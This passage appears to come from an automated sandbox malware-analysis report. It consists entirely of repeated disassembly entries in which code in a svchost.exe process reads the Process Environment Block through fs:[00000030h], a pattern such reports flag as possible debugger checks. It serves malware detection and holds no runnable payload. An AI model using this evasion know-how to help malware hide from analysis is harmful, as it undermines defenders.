                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]2_2_030AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031061E5 mov eax, dword ptr fs:[00000030h]2_2_031061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030601F8 mov eax, dword ptr fs:[00000030h]2_2_030601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B4000 mov ecx, dword ptr fs:[00000030h]2_2_030B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]2_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]2_2_0304E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A020 mov eax, dword ptr fs:[00000030h]2_2_0302A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C020 mov eax, dword ptr fs:[00000030h]2_2_0302C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6030 mov eax, dword ptr fs:[00000030h]2_2_030C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032050 mov eax, dword ptr fs:[00000030h]2_2_03032050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6050 mov eax, dword ptr fs:[00000030h]2_2_030B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305C073 mov eax, dword ptr fs:[00000030h]2_2_0305C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303208A mov eax, dword ptr fs:[00000030h]2_2_0303208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030280A0 mov eax, dword ptr fs:[00000030h]2_2_030280A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C80A8 mov eax, dword ptr fs:[00000030h]2_2_030C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F60B8 mov eax, dword ptr fs:[00000030h]2_2_030F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F60B8 mov ecx, dword ptr fs:[00000030h]2_2_030F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B20DE mov eax, dword ptr fs:[00000030h]2_2_030B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0302A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030380E9 mov eax, dword ptr fs:[00000030h]2_2_030380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B60E0 mov eax, dword ptr fs:[00000030h]2_2_030B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C0F0 mov eax, dword ptr fs:[00000030h]2_2_0302C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030720F0 mov ecx, dword ptr fs:[00000030h]2_2_030720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C700 mov eax, dword ptr fs:[00000030h]2_2_0306C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030710 mov eax, dword ptr fs:[00000030h]2_2_03030710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03060710 mov eax, dword ptr fs:[00000030h]2_2_03060710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]2_2_0306C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]2_2_0306C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]2_2_0306273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306273C mov ecx, dword ptr fs:[00000030h]2_2_0306273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]2_2_0306273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AC730 mov eax, dword ptr fs:[00000030h]2_2_030AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306674D mov esi, dword ptr fs:[00000030h]2_2_0306674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]2_2_0306674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]2_2_0306674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030750 mov eax, dword ptr fs:[00000030h]2_2_03030750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BE75D mov eax, dword ptr fs:[00000030h]2_2_030BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]2_2_03072750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]2_2_03072750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B4755 mov eax, dword ptr fs:[00000030h]2_2_030B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038770 mov eax, dword ptr fs:[00000030h]2_2_03038770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]2_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D678E mov eax, dword ptr fs:[00000030h]2_2_030D678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030307AF mov eax, dword ptr fs:[00000030h]2_2_030307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E47A0 mov eax, dword ptr fs:[00000030h]2_2_030E47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303C7C0 mov eax, dword ptr fs:[00000030h]2_2_0303C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B07C3 mov eax, dword ptr fs:[00000030h]2_2_030B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]2_2_030527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]2_2_030527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]2_2_030527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BE7E1 mov eax, dword ptr fs:[00000030h]2_2_030BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]2_2_030347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]2_2_030347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE609 mov eax, dword ptr fs:[00000030h]2_2_030AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]2_2_0304260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072619 mov eax, dword ptr fs:[00000030h]2_2_03072619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E627 mov eax, dword ptr fs:[00000030h]2_2_0304E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03066620 mov eax, dword ptr fs:[00000030h]2_2_03066620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068620 mov eax, dword ptr fs:[00000030h]2_2_03068620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303262C mov eax, dword ptr fs:[00000030h]2_2_0303262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304C640 mov eax, dword ptr fs:[00000030h]2_2_0304C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]2_2_030F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]2_2_030F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]2_2_0306A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]2_2_0306A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03062674 mov eax, dword ptr fs:[00000030h]2_2_03062674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]2_2_03034690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]2_2_03034690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C6A6 mov eax, dword ptr fs:[00000030h]2_2_0306C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030666B0 mov eax, dword ptr fs:[00000030h]2_2_030666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0306A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A6C7 mov eax, dword ptr fs:[00000030h]2_2_0306A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]2_2_030AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]2_2_030B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]2_2_030B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6500 mov eax, dword ptr fs:[00000030h]2_2_030C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]2_2_03104500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]2_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]2_2_0305E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]2_2_03038550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]2_2_03038550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]2_2_0306656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]2_2_0306656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]2_2_0306656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032582 mov eax, dword ptr fs:[00000030h]2_2_03032582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032582 mov ecx, dword ptr fs:[00000030h]2_2_03032582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03064588 mov eax, dword ptr fs:[00000030h]2_2_03064588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E59C mov eax, dword ptr fs:[00000030h]2_2_0306E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]2_2_030B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]2_2_030B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]2_2_030B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]2_2_030545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]2_2_030545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]2_2_0306E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]2_2_0306E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030365D0 mov eax, dword ptr fs:[00000030h]2_2_030365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]2_2_0306A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]2_2_0306A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]2_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030325E0 mov eax, dword ptr fs:[00000030h]2_2_030325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]2_2_0306C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]2_2_0306C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]2_2_03068402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]2_2_03068402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]2_2_03068402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]2_2_0302E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]2_2_0302E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]2_2_0302E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302C427 mov eax, dword ptr fs:[00000030h]2_2_0302C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]2_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306A430 mov eax, dword ptr fs:[00000030h]2_2_0306A430
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]2_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA456 mov eax, dword ptr fs:[00000030h]2_2_030EA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302645D mov eax, dword ptr fs:[00000030h]2_2_0302645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305245A mov eax, dword ptr fs:[00000030h]2_2_0305245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BC460 mov ecx, dword ptr fs:[00000030h]2_2_030BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]2_2_0305A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]2_2_0305A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]2_2_0305A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EA49A mov eax, dword ptr fs:[00000030h]2_2_030EA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030364AB mov eax, dword ptr fs:[00000030h]2_2_030364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030644B0 mov ecx, dword ptr fs:[00000030h]2_2_030644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BA4B0 mov eax, dword ptr fs:[00000030h]2_2_030BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030304E5 mov ecx, dword ptr fs:[00000030h]2_2_030304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03104B00 mov eax, dword ptr fs:[00000030h]2_2_03104B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]2_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]2_2_0305EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]2_2_0305EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]2_2_030F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]2_2_030F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4B4B mov eax, dword ptr fs:[00000030h]2_2_030E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4B4B mov eax, dword ptr fs:[00000030h]2_2_030E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03102B57 mov eax, dword ptr fs:[00000030h]2_2_03102B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]2_2_030C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]2_2_030C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FAB40 mov eax, dword ptr fs:[00000030h]2_2_030FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D8B42 mov eax, dword ptr fs:[00000030h]2_2_030D8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03028B50 mov eax, dword ptr fs:[00000030h]2_2_03028B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DEB50 mov eax, dword ptr fs:[00000030h]2_2_030DEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302CB7E mov eax, dword ptr fs:[00000030h]2_2_0302CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]2_2_03040BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]2_2_03040BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4BB0 mov eax, dword ptr fs:[00000030h]2_2_030E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E4BB0 mov eax, dword ptr fs:[00000030h]2_2_030E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]2_2_03050BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]2_2_03050BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]2_2_03050BCB
